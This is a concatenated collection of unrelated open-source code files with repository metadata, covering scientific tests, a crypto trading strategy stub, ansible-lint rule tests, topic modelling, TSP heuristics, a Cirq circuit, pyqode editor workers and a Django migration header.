-0.16655206305717471, 6) g.grid_response = True self.assertAlmostEqual(lib.finger(g.grad()), -0.16655364690125929, 6) if __name__ == "__main__": print("Full Tests for H2O") unittest.main()
[ "warlocat@zju.edu.cn" ]
warlocat@zju.edu.cn
2b0cb930258893e946bdaeaccd3d004bb7b2ecb6
4655674e14595e28fba43c93a23a66c2165830c2
/run_strategy.py
218c0b87e9a56927bd60176c6620f4ac9bcf7308
[ "MIT" ]
permissive
namuan/crypto-rider
50e86aaff4f1a39c01f10e487ebdae30619bd2bf
f5b47ada60a7cef07e66609e2e92993619c6bfbe
refs/heads/master
2023-01-20T05:46:58.234758
2020-11-30T22:05:04
2020-11-30T22:05:04
295,971,240
1
0
null
null
null
null
UTF-8
Python
false
false
356
py
from app.strategies import MaCrossOverStrategy from app.config.service_locators import locator s = MaCrossOverStrategy(locator) s.last_event = { "exchange": "binance", "market": "BTC/USDT", "timestamp": 1605371820000, "open": 15975.86, "high": 15977.66, "low": 15962.11, "close": 15966.77, "volume": 33.839882, } s.apply()
[ "575441+namuan@users.noreply.github.com" ]
575441+namuan@users.noreply.github.com
1a1339131a221540fd758a4b9e09d7b7e37dcf02
4415f0a06536b66d4e7425b3995c4009516c180d
/World 2/Challenge057.py
c6f73b41e99d3b06115f3b625ed195dadf042172
[]
no_license
AndreisSirlene/Python-Exercises-Curso-em-Video-World-1-2-and-3
c73c2df958f5b83744af6288d26bb270aa30f8fd
62f59383eee9b8ab43ff78495cf30eb390638013
refs/heads/master
2023-03-30T11:34:12.672180
2021-03-24T23:34:17
2021-03-24T23:34:17
290,814,841
0
0
null
null
null
null
UTF-8
Python
false
false
440
py
'''The challenge is to ask the gender of a person (in this case I only used Male and Female) in case the user type another answer the program should keep running and ask for a valid answer''' gender = str(input('What is your gender? [F/M]: ')).upper().strip()[0] while gender not in 'MmFf': gender = str(input('Value does not match. What is your gender[F/M]: ')).strip().upper() print('{} Genger sucessful registered!'.format(gender))
[ "andreissirlene@gmail.com" ]
andreissirlene@gmail.com
27f111c953c959a7a7130bc242350e528fe2a635
bc88960c49c6e454eaeb747942b582131684c13b
/captum/attr/_utils/typing.py
34b16cae80d974f774cf659e1171ee4db017b6f8
[ "BSD-3-Clause" ]
permissive
mturzanska/captum
5dadeaea84b9567553ad710e9970f124779a80d8
d2243fb132578e71f88dc4c10b0cc89218d99b3b
refs/heads/master
2020-12-26T10:33:11.444267
2020-01-31T02:16:32
2020-01-31T02:18:37
237,482,133
1
0
BSD-3-Clause
2020-01-31T17:34:05
2020-01-31T17:34:04
null
UTF-8
Python
false
false
171
py
#!/usr/bin/env python3 from typing import Tuple, TypeVar from torch import Tensor TensorOrTupleOfTensors = TypeVar("TensorOrTupleOfTensors", Tensor, Tuple[Tensor, ...])
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
e884b70fb8875cb5156cdd32a68ec81bf6f66c3a
887f2e664c6d92f17e784f57022333a2fb859d06
/analysis/movement/simulations/environment/corRandomWalk.py
c37a667315d4572c18afc2474959883eab4c4f49
[]
no_license
ctorney/dolphinUnion
1968e258c6045060b2c921bd723d0ef0daea0147
9d7212d172a8a48a36fc4870fcdb04d66130bb76
refs/heads/master
2021-01-19T04:40:57.286526
2017-08-17T20:44:58
2017-08-17T20:44:58
46,424,670
1
0
null
null
null
null
UTF-8
Python
false
false
647
py
import os import math from datetime import datetime from pymc import * from numpy import array, empty from numpy.random import randint, rand from pymc.Matplot import plot as mcplot import matplotlib import numpy as np import matplotlib.pyplot as plt __all__ = ['rho_m','mvector'] rho_m = Uniform('rho_m',lower=0, upper=0.99999) mvector = np.load('./pdata/mvector.npy') mvector = mvector[np.isfinite(mvector)] @stochastic(observed=True) def moves(rm=rho_m, value=mvector): wcc = (1/(2*pi)) * (1-np.power(rm,2))/(1+np.power(rm,2)-2*rm*np.cos((-mvector).transpose())) # wrapped cauchy wcc= wcc[wcc>0] return np.sum(np.log(wcc))
[ "colin.j.torney@gmail.com" ]
colin.j.torney@gmail.com
6cb23354874ab12833703e281c29fc08f5149030
1d0de24db60e1c58c97fa4dfb74512bed27cc3cd
/test/TestSudoRule.py
14467319320884e3847d5bcdd5e0b27ee80dc1a3
[]
no_license
rsumner31/ansible-lint
b45a763dae0c1c259f440e743d1e580087b3ce17
d93270db32b49496239f0cb17ab91a4e18b84212
refs/heads/master
2021-01-25T13:58:41.059261
2018-03-08T14:29:07
2018-03-08T14:29:07
123,634,287
1
0
null
null
null
null
UTF-8
Python
false
false
2,010
py
import unittest from ansiblelint.rules.SudoRule import SudoRule import ansiblelint.utils class TestSudoRule(unittest.TestCase): simple_dict_yaml = { 'value1': '{foo}}', 'value2': 2, 'value3': ['foo', 'bar', '{baz}}'], 'value4': '{bar}', 'value5': '{{baz}', } def setUp(self): self.rule = SudoRule() def test_check_value_simple_matching(self): result = self.rule._check_value("sudo: yes") self.assertEquals(0, len(result)) def test_check_value_shallow_dict(self): result = self.rule._check_value({ 'sudo': 'yes', 'sudo_user': 'somebody' }) self.assertEquals(2, len(result)) def test_check_value_nested(self): yaml = [ { 'hosts': 'all', 'sudo': 'yes', 'sudo_user': 'nobody', 'tasks': [ { 'name': 'test', 'debug': 'msg=test', 'sudo': 'yes', 'sudo_user': 'somebody' } ] } ] result = self.rule._check_value(yaml) self.assertEquals(2, len(result)) class TestSudoRuleWithFile(unittest.TestCase): file1 = 'test/sudo.yml' def setUp(self): self.rule = SudoRule() def test_matchplay_sudo(self): yaml = ansiblelint.utils.parse_yaml_linenumbers(open(self.file1).read()) self.assertTrue(yaml) for play in yaml: result = self.rule.matchplay(self.file1, play) self.assertEquals(2, len(result)) def test_matchtask_sudo(self): yaml = ansiblelint.utils.parse_yaml_linenumbers(open(self.file1).read()) results = [] for task in ansiblelint.utils.get_normalized_tasks(yaml, dict(path=self.file1, type='playbook')): results.append(self.rule.matchtask(self.file1, task)) self.assertEquals(1, len([result for result in results if result]))
[ "rsumner31@gmail.com" ]
rsumner31@gmail.com
fdf9724d91144de22b37ec8bab08482eded98593
97c2609a6bb0c8fa4d87b088e9839123873a368b
/Chapter03/nmf_newsgroups.py
294710014b1a3bcca57018bc7c08fdb843651f5f
[]
no_license
fenago/python-machine-learning-by-example
ebcd341932d27d812c0b98575842ed0fbb2f188a
8216ccc248027508da9df135b57c8f9f9e523316
refs/heads/master
2020-12-12T15:43:28.294734
2020-01-14T19:56:47
2020-01-14T19:56:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,475
py
# %% ''' Source codes for Python Machine Learning By Example 2nd Edition (Packt Publishing) Chapter 3: Mining the 20 Newsgroups Dataset with Clustering and Topic Modeling Algorithms Author: Yuxi (Hayden) Liu ''' # %% from sklearn.datasets import fetch_20newsgroups categories = [ 'alt.atheism', 'talk.religion.misc', 'comp.graphics', 'sci.space', ] groups = fetch_20newsgroups(subset='all', categories=categories) def is_letter_only(word): for char in word: if not char.isalpha(): return False return True from nltk.corpus import names all_names = set(names.words()) from nltk.stem import WordNetLemmatizer lemmatizer = WordNetLemmatizer() data_cleaned = [] for doc in groups.data: doc = doc.lower() doc_cleaned = ' '.join(lemmatizer.lemmatize(word) for word in doc.split() if is_letter_only(word) and word not in all_names) data_cleaned.append(doc_cleaned) from sklearn.feature_extraction.text import CountVectorizer count_vector = CountVectorizer(stop_words="english", max_features=None, max_df=0.5, min_df=2) data = count_vector.fit_transform(data_cleaned) from sklearn.decomposition import NMF t = 20 nmf = NMF(n_components=t, random_state=42) nmf.fit(data) print(nmf.components_) terms = count_vector.get_feature_names() for topic_idx, topic in enumerate(nmf.components_): print("Topic {}:" .format(topic_idx)) print(" ".join([terms[i] for i in topic.argsort()[-10:]]))
[ "31277617+athertahir@users.noreply.github.com" ]
31277617+athertahir@users.noreply.github.com
4b9c3852748165236aefb0e401cd7d229bbf6973
f445450ac693b466ca20b42f1ac82071d32dd991
/generated_tempdir_2019_09_15_163300/generated_part001128.py
6b6f8d5419e3cf14f30bcb280200da32cd1cabc2
[]
no_license
Upabjojr/rubi_generated
76e43cbafe70b4e1516fb761cabd9e5257691374
cd35e9e51722b04fb159ada3d5811d62a423e429
refs/heads/master
2020-07-25T17:26:19.227918
2019-09-15T15:41:48
2019-09-15T15:41:48
208,357,412
4
1
null
null
null
null
UTF-8
Python
false
false
4,829
py
from sympy.abc import * from matchpy.matching.many_to_one import CommutativeMatcher from matchpy import * from matchpy.utils import VariableWithCount from collections import deque from multiset import Multiset from sympy.integrals.rubi.constraints import * from sympy.integrals.rubi.utility_function import * from sympy.integrals.rubi.rules.miscellaneous_integration import * from sympy import * class CommutativeMatcher13193(CommutativeMatcher): _instance = None patterns = { 0: (0, Multiset({0: 1}), [ (VariableWithCount('i3.1.2.1.0', 1, 1, S(1)), Mul) ]), 1: (1, Multiset({}), [ (VariableWithCount('i3.1.2.1.0_1', 1, 1, S(1)), Mul), (VariableWithCount('i3.1.2.1.2.1.1', 1, 1, None), Mul) ]), 2: (2, Multiset({1: 1}), [ (VariableWithCount('i3.1.2.1.0', 1, 1, S(1)), Mul) ]), 3: (3, Multiset({2: 1}), [ (VariableWithCount('i3.1.2.1.0', 1, 1, S(1)), Mul) ]) } subjects = {} subjects_by_id = {} bipartite = BipartiteGraph() associative = Mul max_optional_count = 1 anonymous_patterns = set() def __init__(self): self.add_subject(None) @staticmethod def get(): if CommutativeMatcher13193._instance is None: CommutativeMatcher13193._instance = CommutativeMatcher13193() return CommutativeMatcher13193._instance @staticmethod def get_match_iter(subject): subjects = deque([subject]) if subject is not None else deque() subst0 = Substitution() # State 13192 if len(subjects) >= 1 and isinstance(subjects[0], Pow): tmp1 = subjects.popleft() subjects2 = deque(tmp1._args) # State 13194 if len(subjects2) >= 1 and isinstance(subjects2[0], Add): tmp3 = subjects2.popleft() associative1 = tmp3 associative_type1 = type(tmp3) subjects4 = deque(tmp3._args) matcher = CommutativeMatcher13196.get() tmp5 = subjects4 subjects4 = [] for s in tmp5: matcher.add_subject(s) for pattern_index, subst1 in matcher.match(tmp5, subst0): pass if pattern_index == 0: pass # State 13212 if len(subjects2) >= 1 and subjects2[0] == Rational(1, 2): tmp6 = subjects2.popleft() # State 13213 if len(subjects2) == 0: pass # State 13214 if len(subjects) == 0: pass # 0: sqrt(a + b*x + c*x**2) yield 0, subst1 subjects2.appendleft(tmp6) if pattern_index == 1: pass # State 13583 if len(subjects2) >= 1 and subjects2[0] == Rational(1, 2): tmp7 = subjects2.popleft() # State 13584 if len(subjects2) == 0: pass # State 13585 if len(subjects) == 0: pass # 1: sqrt(a + c*x**2) yield 1, subst1 subjects2.appendleft(tmp7) subjects2.appendleft(tmp3) if len(subjects2) >= 1: tmp8 = subjects2.popleft() subst1 = Substitution(subst0) try: subst1.try_add_variable('i3.1.2.1.1', tmp8) except ValueError: pass else: pass # State 13687 if len(subjects2) >= 1 and subjects2[0] == Rational(1, 2): tmp10 = subjects2.popleft() # State 13688 if len(subjects2) == 0: pass # State 13689 if len(subjects) == 0: pass # 2: sqrt(v) yield 2, subst1 subjects2.appendleft(tmp10) subjects2.appendleft(tmp8) subjects.appendleft(tmp1) return yield from matchpy.matching.many_to_one import CommutativeMatcher from collections import deque from .generated_part001129 import * from matchpy.utils import VariableWithCount from multiset import Multiset
[ "franz.bonazzi@gmail.com" ]
franz.bonazzi@gmail.com
b8837011401b7d9aa789df32757b889706c39a40
3261ff6f0df713a2939bc6f3664e959f52728c47
/RL/problems/vrp/encode-attend-navigate/data_generator.py
e5ea5425de4eb3924bf914a288be6c4cbb3e188e
[ "Apache-2.0" ]
permissive
ChanaRoss/Thesis
0057c710e8ce3abd3edbf7c4a4ef6a986d702142
39ab83d52055d401a3bb71da25b3458ad9196ecd
refs/heads/master
2022-12-03T21:05:55.269387
2020-02-02T19:52:28
2020-02-02T19:52:28
145,448,655
0
0
Apache-2.0
2022-11-22T04:10:19
2018-08-20T17:20:11
Python
UTF-8
Python
false
false
4,401
py
#-*- coding: utf-8 -*- import numpy as np import matplotlib.pyplot as plt import math from sklearn.decomposition import PCA # Compute a sequence's reward def reward(tsp_sequence): tour = np.concatenate((tsp_sequence, np.expand_dims(tsp_sequence[0],0))) # sequence to tour (end=start) inter_city_distances = np.sqrt(np.sum(np.square(tour[:-1,:2]-tour[1:,:2]),axis=1)) # tour length return np.sum(inter_city_distances) # reward # Swap city[i] with city[j] in sequence def swap2opt(tsp_sequence,i,j): new_tsp_sequence = np.copy(tsp_sequence) new_tsp_sequence[i:j+1] = np.flip(tsp_sequence[i:j+1], axis=0) # flip or swap ? return new_tsp_sequence # One step of 2opt = one double loop and return first improved sequence def step2opt(tsp_sequence): seq_length = tsp_sequence.shape[0] distance = reward(tsp_sequence) for i in range(1,seq_length-1): for j in range(i+1,seq_length): new_tsp_sequence = swap2opt(tsp_sequence,i,j) new_distance = reward(new_tsp_sequence) if new_distance < distance: return new_tsp_sequence, new_distance return tsp_sequence, distance class DataGenerator(object): def __init__(self): pass def gen_instance(self, max_length, dimension, seed=0): # Generate random TSP instance if seed!=0: np.random.seed(seed) sequence = np.random.rand(max_length, dimension) # (max_length) cities with (dimension) coordinates in [0,1] pca = PCA(n_components=dimension) # center & rotate coordinates sequence = pca.fit_transform(sequence) return sequence def train_batch(self, batch_size, max_length, dimension): # Generate random batch for training procedure input_batch = [] for _ in range(batch_size): input_ = self.gen_instance(max_length, dimension) # Generate random TSP instance input_batch.append(input_) # Store batch return input_batch def test_batch(self, batch_size, max_length, dimension, seed=0, shuffle=False): # Generate random batch for testing procedure input_batch = [] input_ = self.gen_instance(max_length, dimension, seed=seed) # Generate random TSP instance for _ in range(batch_size): sequence = np.copy(input_) if shuffle==True: np.random.shuffle(sequence) # Shuffle sequence input_batch.append(sequence) # Store batch return input_batch def loop2opt(self, tsp_sequence, max_iter=2000): # Iterate step2opt max_iter times (2-opt local search) best_reward = reward(tsp_sequence) new_tsp_sequence = np.copy(tsp_sequence) for _ in range(max_iter): new_tsp_sequence, new_reward = step2opt(new_tsp_sequence) if new_reward < best_reward: best_reward = new_reward else: break return new_tsp_sequence, best_reward def visualize_2D_trip(self, trip): # Plot tour plt.figure(1) colors = ['red'] # First city red for i in range(len(trip)-1): colors.append('blue') plt.scatter(trip[:,0], trip[:,1], color=colors) # Plot cities tour=np.array(list(range(len(trip))) + [0]) # Plot tour X = trip[tour, 0] Y = trip[tour, 1] plt.plot(X, Y,"--") plt.xlim(-0.75,0.75) plt.ylim(-0.75,0.75) plt.xlabel('X') plt.ylabel('Y') plt.show() def visualize_sampling(self, permutations): # Heatmap of permutations (x=cities; y=steps) max_length = len(permutations[0]) grid = np.zeros([max_length,max_length]) # initialize heatmap grid to 0 transposed_permutations = np.transpose(permutations) for t, cities_t in enumerate(transposed_permutations): # step t, cities chosen at step t city_indices, counts = np.unique(cities_t,return_counts=True,axis=0) for u,v in zip(city_indices, counts): grid[t][u]+=v # update grid with counts from the batch of permutations fig = plt.figure(1) # plot heatmap ax = fig.add_subplot(1,1,1) ax.set_aspect('equal') plt.imshow(grid, interpolation='nearest', cmap='gray') plt.colorbar() plt.title('Sampled permutations') plt.ylabel('Time t') plt.xlabel('City i') plt.show()
[ "chanaby@gmail.com" ]
chanaby@gmail.com
269bf411144fa08de6cff481f916da7b035ecaf5
14d5b51a68377fca1066f2331c720ce279d608ba
/demium/turtle03.py
cd65d39b7f127f95b43caa56ddb4a7fbea6fb0f1
[]
no_license
pigmonchu/queesesodeprogramar201905
84c5853a53c3b24a37664ff17a746a74a4a03dcd
dcfc8775562c249822f75fdba1c72314be852425
refs/heads/master
2020-05-25T21:59:27.488549
2019-05-23T18:00:53
2019-05-23T18:00:53
188,008,711
1
0
null
null
null
null
UTF-8
Python
false
false
133
py
import turtle mitortuga = turtle.Turtle() for v in range(3): mitortuga.forward(100) mitortuga.left(120) print("sacabó")
[ "monterdi@gmail.com" ]
monterdi@gmail.com
9cbda643914139943c128f3298888852afbdef82
e60dd32858b162eb28e673ac9cfdb1b2a403c695
/fibonocci.first.py
dc7041daa7d965b3c40d91bb63972d292280f567
[]
no_license
Hemanthtm2/playing_python
8d3419a46d50b2801283aa020be89a8003d4ad31
cb896916c6d84c564f7036a4ed6a2a5481bf2fd6
refs/heads/master
2020-05-23T13:10:51.753218
2019-02-20T21:52:34
2019-02-20T21:52:34
186,767,575
0
0
null
null
null
null
UTF-8
Python
false
false
191
py
#!/usr/bin/python def fibonocci(N): result=[0] next_n=1 while next_n<=N: result.append(next_n) next_n=sum(result[-2:]) return result print(fibonocci(5))
[ "hemanthtm2@gmail.com" ]
hemanthtm2@gmail.com
2b3abc2bfaf6f4eaa531107c4be9afc2935e79de
09e57dd1374713f06b70d7b37a580130d9bbab0d
/data/p3BR/R1/benchmark/startCirq232.py
deffae8da6e2df684e025e062849c9587489444e
[ "BSD-3-Clause" ]
permissive
UCLA-SEAL/QDiff
ad53650034897abb5941e74539e3aee8edb600ab
d968cbc47fe926b7f88b4adf10490f1edd6f8819
refs/heads/main
2023-08-05T04:52:24.961998
2021-09-19T02:56:16
2021-09-19T02:56:16
405,159,939
2
0
null
null
null
null
UTF-8
Python
false
false
3,246
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 5/15/20 4:49 PM # @File : grover.py # qubit number=3 # total number=42 import cirq import cirq.google as cg from typing import Optional import sys from math import log2 import numpy as np #thatsNoCode from cirq.contrib.svg import SVGCircuit # Symbols for the rotation angles in the QAOA circuit. def make_circuit(n: int, input_qubit): c = cirq.Circuit() # circuit begin c.append(cirq.H.on(input_qubit[0])) # number=1 c.append(cirq.rx(-0.09738937226128368).on(input_qubit[2])) # number=2 c.append(cirq.H.on(input_qubit[1])) # number=33 c.append(cirq.CZ.on(input_qubit[2],input_qubit[1])) # number=34 c.append(cirq.H.on(input_qubit[1])) # number=35 c.append(cirq.H.on(input_qubit[1])) # number=3 c.append(cirq.H.on(input_qubit[0])) # number=39 c.append(cirq.CZ.on(input_qubit[1],input_qubit[0])) # number=40 c.append(cirq.H.on(input_qubit[0])) # number=41 c.append(cirq.Y.on(input_qubit[1])) # number=15 c.append(cirq.CNOT.on(input_qubit[1],input_qubit[0])) # number=10 c.append(cirq.H.on(input_qubit[1])) # number=19 c.append(cirq.CZ.on(input_qubit[0],input_qubit[1])) # number=20 c.append(cirq.rx(-0.6000441968356504).on(input_qubit[1])) # number=28 c.append(cirq.H.on(input_qubit[1])) # number=21 c.append(cirq.H.on(input_qubit[1])) # number=30 c.append(cirq.CZ.on(input_qubit[0],input_qubit[1])) # number=31 c.append(cirq.H.on(input_qubit[1])) # number=32 c.append(cirq.X.on(input_qubit[1])) # number=23 c.append(cirq.H.on(input_qubit[2])) # number=29 c.append(cirq.H.on(input_qubit[1])) # number=36 c.append(cirq.CZ.on(input_qubit[0],input_qubit[1])) # number=37 c.append(cirq.H.on(input_qubit[1])) # number=38 c.append(cirq.CNOT.on(input_qubit[0],input_qubit[1])) # number=18 c.append(cirq.Z.on(input_qubit[1])) # number=11 c.append(cirq.CNOT.on(input_qubit[1],input_qubit[0])) # number=12 c.append(cirq.CNOT.on(input_qubit[2],input_qubit[1])) # number=26 c.append(cirq.Y.on(input_qubit[1])) # number=14 c.append(cirq.CNOT.on(input_qubit[1],input_qubit[0])) # number=5 c.append(cirq.X.on(input_qubit[1])) # number=6 c.append(cirq.Z.on(input_qubit[1])) # number=8 c.append(cirq.X.on(input_qubit[1])) # number=7 c.append(cirq.rx(-2.42845112122491).on(input_qubit[1])) # number=25 # circuit end c.append(cirq.measure(*input_qubit, key='result')) return c def bitstring(bits): return ''.join(str(int(b)) for b in bits) if __name__ == '__main__': qubit_count = 4 input_qubits = [cirq.GridQubit(i, 0) for i in range(qubit_count)] circuit = make_circuit(qubit_count,input_qubits) circuit = cg.optimized_for_sycamore(circuit, optimizer_type='sqrt_iswap') circuit_sample_count =2000 simulator = cirq.Simulator() result = simulator.run(circuit, repetitions=circuit_sample_count) frequencies = result.histogram(key='result', fold_func=bitstring) writefile = open("../data/startCirq232.csv","w+") print(format(frequencies),file=writefile) print("results end", file=writefile) print(circuit.__len__(), file=writefile) print(circuit,file=writefile) writefile.close()
[ "wangjiyuan123@yeah.net" ]
wangjiyuan123@yeah.net
156d1d886c35c4d5e06431c611f6b9d4f7284e11
1259a9d69c65acdaaedd0c8c09f2489ec5825653
/meeting/meeting/meeting/doctype/meeting_attendee/test_meeting_attendee.py
16df189a1101bd9ac508d5a56ebd9ab02dacf983
[ "MIT" ]
permissive
uamsheikh/frappe_apps
bbc5f4b43331a8785bacc415ccb3c56de4dcefd7
724fccc17be72f9003177f50ef99f9683dcaa51e
refs/heads/master
2022-11-05T03:26:30.086564
2020-06-27T14:00:12
2020-06-27T14:00:12
275,549,139
0
0
null
null
null
null
UTF-8
Python
false
false
211
py
# -*- coding: utf-8 -*- # Copyright (c) 2020, Oza and Contributors # See license.txt from __future__ import unicode_literals # import frappe import unittest class TestMeetingAttendee(unittest.TestCase): pass
[ "frappe@ubuntu.vm" ]
frappe@ubuntu.vm
2c9213c4614ac86537b2ec5a039d54116d215e53
9331521b9000b23560939de083693b594a2b513e
/registro1.py
51ae0ab908a821abae368aae90b56a28b0cf53eb
[]
no_license
stefifm/Guia18
141f94f12b2046453ebcddf73ba07b9402b3609c
bdc73563f130c05daad4e01a5730ac9029d47cef
refs/heads/master
2022-12-12T23:18:20.340171
2020-09-10T03:21:55
2020-09-10T03:21:55
294,291,473
0
0
null
null
null
null
UTF-8
Python
false
false
740
py
#Definición del tipo registro Empleado class Empleado: pass e1 = Empleado() e1.legajo = 1 e1.nombre = "Stefania" e1.sueldo = 250 print("El empleado es:",e1.legajo,"-",e1.nombre,"-",e1.sueldo) e2 = Empleado() e2.legajo = 2 e2.nombre = "Juan" e2.sueldo = 350 print("El empleado es:",e2.legajo,"-",e2.nombre,"-",e2.sueldo) #ejemplo de copia a = 2 b = 3 print("valore de a y b simples:",a,b) b = a print("valore de a y b simples:",a,b) #copia de registros e1 = e2 print("El empleado es:",e1.legajo,"-",e1.nombre,"-",e1.sueldo) print("El empleado es:",e2.legajo,"-",e2.nombre,"-",e2.sueldo) e1.sueldo = 400 print("El empleado es:",e1.legajo,"-",e1.nombre,"-",e1.sueldo) print("El empleado es:",e2.legajo,"-",e2.nombre,"-",e2.sueldo)
[ "bruerastefania@gmail.com" ]
bruerastefania@gmail.com
358cbad9fc22d8f3993566b5d3d9102c2eab5e86
ef1bf421aca35681574c03014e0c2b92da1e7dca
/pyqode/core/backend/workers.py
5c37fb94e4aa220fd8fdeac6bafbbf491745362a
[ "MIT" ]
permissive
pyQode/pyqode.core
74e67f038455ea8cde2bbc5bd628652c35aff6eb
0ffabebe4f0397d53429024f6f44db3fe97b0828
refs/heads/master
2020-04-12T06:36:33.483459
2020-01-18T14:16:08
2020-01-18T14:16:08
7,739,074
24
25
MIT
2020-01-18T14:16:10
2013-01-21T19:46:41
Python
UTF-8
Python
false
false
8,151
py
# -*- coding: utf-8 -*- """ This module contains the worker functions/classes used on the server side. A worker is a function or a callable which receive one single argument (the decoded json object) and returns a tuple made up of a status (bool) and a response object (json serializable). A worker is always tightly coupled with its caller, so are the data. .. warning:: This module should keep its dependencies as low as possible and fully supports python2 syntax. This is badly needed since the server might be run with a python2 interpreter. We don't want to force the user to install all the pyqode dependencies twice (if the user choose to run the server with python2, which might happen in pyqode.python to support python2 syntax). """ import logging import re import sys import traceback def echo_worker(data): """ Example of worker that simply echoes back the received data. :param data: Request data dict. :returns: True, data """ print('echo worker running') return data class CodeCompletionWorker(object): """ This is the worker associated with the code completion mode. The worker does not actually do anything smart, the real work of collecting code completions is accomplished by the completion providers (see the :class:`pyqode.core.backend.workers.CodeCompletionWorker.Provider` interface) listed in :attr:`pyqode.core.backend.workers.CompletionWorker.providers`. Completion providers must be installed on the CodeCompletionWorker at the beginning of the main server script, e.g.:: from pyqode.core.backend import CodeCompletionWorker CodeCompletionWorker.providers.insert(0, MyProvider()) """ #: The list of code completion provider to run on each completion request. providers = [] class Provider(object): """ This class describes the expected interface for code completion providers. You can inherit from this class but this is not required as long as you implement a ``complete`` method which returns the list of completions and have the expected signature:: def complete(self, code, line, column, path, encoding, prefix): pass """ def complete(self, code, line, column, path, encoding, prefix): """ Returns a list of completions. A completion is dictionary with the following keys: - 'name': name of the completion, this the text displayed and inserted when the user select a completion in the list - 'icon': an optional icon file name - 'tooltip': an optional tooltip string :param code: code string :param line: line number (0 based) :param column: column number (0 based) :param path: file path :param encoding: file encoding :param prefix: completion prefix (text before cursor) :returns: A list of completion dicts as described above. :rtype: list """ raise NotImplementedError() def __call__(self, data): """ Do the work (this will be called in the child process by the SubprocessServer). """ code = data['code'] line = data['line'] column = data['column'] path = data['path'] encoding = data['encoding'] prefix = data['prefix'] req_id = data['request_id'] completions = [] for prov in CodeCompletionWorker.providers: try: results = prov.complete( code, line, column, path, encoding, prefix) completions.append(results) if len(completions): break except: sys.stderr.write('Failed to get completions from provider %r' % prov) exc1, exc2, exc3 = sys.exc_info() traceback.print_exception(exc1, exc2, exc3, file=sys.stderr) return [(line, column, req_id)] + completions class DocumentWordsProvider(object): """ Provides completions based on the document words """ words = {} # word separators separators = [ '~', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '+', '{', '}', '|', ':', '"', "'", "<", ">", "?", ",", ".", "/", ";", '[', ']', '\\', '\n', '\t', '=', '-', ' ' ] @staticmethod def split(txt, seps): """ Splits a text in a meaningful list of words based on a list of word separators (define in pyqode.core.settings) :param txt: Text to split :param seps: List of words separators :return: A **set** of words found in the document (excluding punctuations, numbers, ...) """ # replace all possible separators with a default sep default_sep = seps[0] for sep in seps[1:]: if sep: txt = txt.replace(sep, default_sep) # now we can split using the default_sep raw_words = txt.split(default_sep) words = set() for word in raw_words: # w = w.strip() if word.replace('_', '').isalpha(): words.add(word) return sorted(words) def complete(self, code, *args): """ Provides completions based on the document words. :param code: code to complete :param args: additional (unused) arguments. """ completions = [] for word in self.split(code, self.separators): completions.append({'name': word}) return completions def finditer_noregex(string, sub, whole_word): """ Search occurrences using str.find instead of regular expressions. :param string: string to parse :param sub: search string :param whole_word: True to select whole words only """ start = 0 while True: start = string.find(sub, start) if start == -1: return if whole_word: if start: pchar = string[start - 1] else: pchar = ' ' try: nchar = string[start + len(sub)] except IndexError: nchar = ' ' if nchar in DocumentWordsProvider.separators and \ pchar in DocumentWordsProvider.separators: yield start start += len(sub) else: yield start start += 1 def findalliter(string, sub, regex=False, case_sensitive=False, whole_word=False): """ Generator that finds all occurrences of ``sub`` in ``string`` :param string: string to parse :param sub: string to search :param regex: True to search using regex :param case_sensitive: True to match case, False to ignore case :param whole_word: True to returns only whole words :return: """ if not sub: return if regex: flags = re.MULTILINE if not case_sensitive: flags |= re.IGNORECASE for val in re.finditer(sub, string, flags): yield val.span() else: if not case_sensitive: string = string.lower() sub = sub.lower() for val in finditer_noregex(string, sub, whole_word): yield val, val + len(sub) def findall(data): """ Worker that finds all occurrences of a given string (or regex) in a given text. :param data: Request data dict:: { 'string': string to search in text 'sub': input text 'regex': True to consider string as a regular expression 'whole_word': True to match whole words only. 'case_sensitive': True to match case, False to ignore case } :return: list of occurrence positions in text """ return list(findalliter( data['string'], data['sub'], regex=data['regex'], whole_word=data['whole_word'], case_sensitive=data['case_sensitive']))
[ "colin.duquesnoy@gmail.com" ]
colin.duquesnoy@gmail.com
39b8cd68c9888b95f38c5e313bc8cf3feffb15f9
f828cb00f5f821b69c5e3548a857c12635d1b2ac
/users/migrations/0002_auto_20200905_0858.py
643a982b7bad3500815dbe7eee60d68d45079412
[]
no_license
crowdbotics-apps/web-5-sept-dev-9946
f2c8afe935daf78ea90d11f5ee62d7837e8b7e78
8ff1bc90ea4f09474ec577d32deeb5b966becfdb
refs/heads/master
2022-12-14T19:20:22.807063
2020-09-05T08:58:01
2020-09-05T08:58:01
293,008,522
0
0
null
null
null
null
UTF-8
Python
false
false
394
py
# Generated by Django 2.2.16 on 2020-09-05 08:58 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0001_initial'), ] operations = [ migrations.AlterField( model_name='user', name='name', field=models.CharField(blank=True, max_length=255, null=True), ), ]
[ "team@crowdbotics.com" ]
team@crowdbotics.com
93f79c5052ac8f644cb111e6f3f2d17553864cc5
aeeec9b63f46df4a3d1cab45456a2392b5ed37cf
/sale_variant_optional/__manifest__.py
fd19d4eead7d018782b6690bfec70ce8ea7c8558
[]
no_license
davidsetiyadi/addons_v10
c5d89a49784387cf38b65bb0898fce9f1e8da3be
1d714436c5a262ac53928dbb9f30783a6c1efef2
refs/heads/master
2020-03-11T18:23:30.351820
2018-09-09T01:29:22
2018-09-09T01:29:22
130,176,045
0
0
null
null
null
null
UTF-8
Python
false
false
731
py
# -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. { 'name': 'Sales Varian Optional', 'version': '1.3', 'author': 'Davidsetiyadi@gmail.com', 'category': 'Custom Development', 'summary': 'Sale Orders Custom', 'description': """ Sales Custom """, 'website': '', 'depends': ['base','sale','stock','account','sale_stock','dev_48_so_additional_field'], 'data': [ 'views/product_atributtes.xml', 'views/product_template_views.xml', 'views/sale_view.xml', 'views/account_view.xml', 'views/sale_report_template.xml', ], 'demo': [], 'test': [], 'installable': True, 'auto_install': False, }
[ "davidsetiadi11@gmail.com" ]
davidsetiadi11@gmail.com
8179e80d2393edfd0ad28dd067b73099cd6865bc
80d3388c07986fa833237c4fc4cfd1555e2a6660
/backend/src/posts/migrations/0009_auto_20201107_2044.py
573af936d86f7285dbcdbd52ed91d063525ae4c5
[]
no_license
Shoumik-Gandre/nitbits
85bf24fcd5dee3d5a78af47a614a5921ae54ce89
996178e2047c33cd18879b32f47c10a8f0f39878
